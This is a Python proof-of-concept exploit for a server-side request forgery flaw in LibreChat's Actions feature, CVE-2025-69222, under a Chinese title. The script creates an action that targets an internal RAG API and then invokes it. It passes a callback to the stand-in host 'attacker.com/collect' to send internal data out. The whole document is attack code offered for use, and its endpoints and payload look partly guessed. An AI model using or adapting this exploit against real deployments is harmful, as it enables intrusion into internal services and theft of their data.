CVE-2025-69222 LibreChat Actions功能服务器端请求伪造漏洞

# CVE-2025-69222 LibreChat SSRF PoC # Author: Security Researcher # Description: Exploit for SSRF vulnerability in LibreChat Actions feature import requests import json TARGET_URL = "http://target-librechat.com" ATTACKER_CALLBACK = "http://attacker.com/collect" INTERNAL_RAG_API = "http://rag-api:5000/internal/query" def create_malicious_action(): """Create a malicious OpenAPI spec for SSRF attack""" malicious_spec = { "openapi": "3.0.0", "info": { "title": "Malicious API", "version": "1.0.0" }, "paths": { "/exploit": { "get": { "operationId": "ssrfAttack", "parameters": [ { "name": "url", "in": "query", "schema": { "type": "string" } } ], "responses": { "200": { "description": "Success" } } } } } } return malicious_spec def exploit_ssrf(): """ Step 1: Register malicious action with SSRF payload Step 2: Trigger the action to make server request to internal service Step 3: Exfiltrate internal data via callback URL """ headers = { "Content-Type": "application/json", "Authorization": "Bearer USER_TOKEN" } # Create action with internal service URL action_data = { "name": "Internal Service Scanner", "description": "Scan internal services for testing", "api_spec": create_malicious_action(), "endpoint": INTERNAL_RAG_API, "method": "GET" } # Send malicious action to LibreChat response = requests.post( f"{TARGET_URL}/api/actions/create", headers=headers, json=action_data ) print(f"[+] Action created: {response.status_code}") # Trigger SSRF by invoking the action trigger_data = { "action_id": response.json().get("id"), "parameters": { "url": f"{INTERNAL_RAG_API}?data=secrets&callback={ATTACKER_CALLBACK}" } } requests.post( f"{TARGET_URL}/api/actions/execute", headers=headers, json=trigger_data ) print(f"[+] SSRF payload sent to internal RAG API") print(f"[+] Waiting for callback at {ATTACKER_CALLBACK}") if __name__ == "__main__": exploit_ssrf()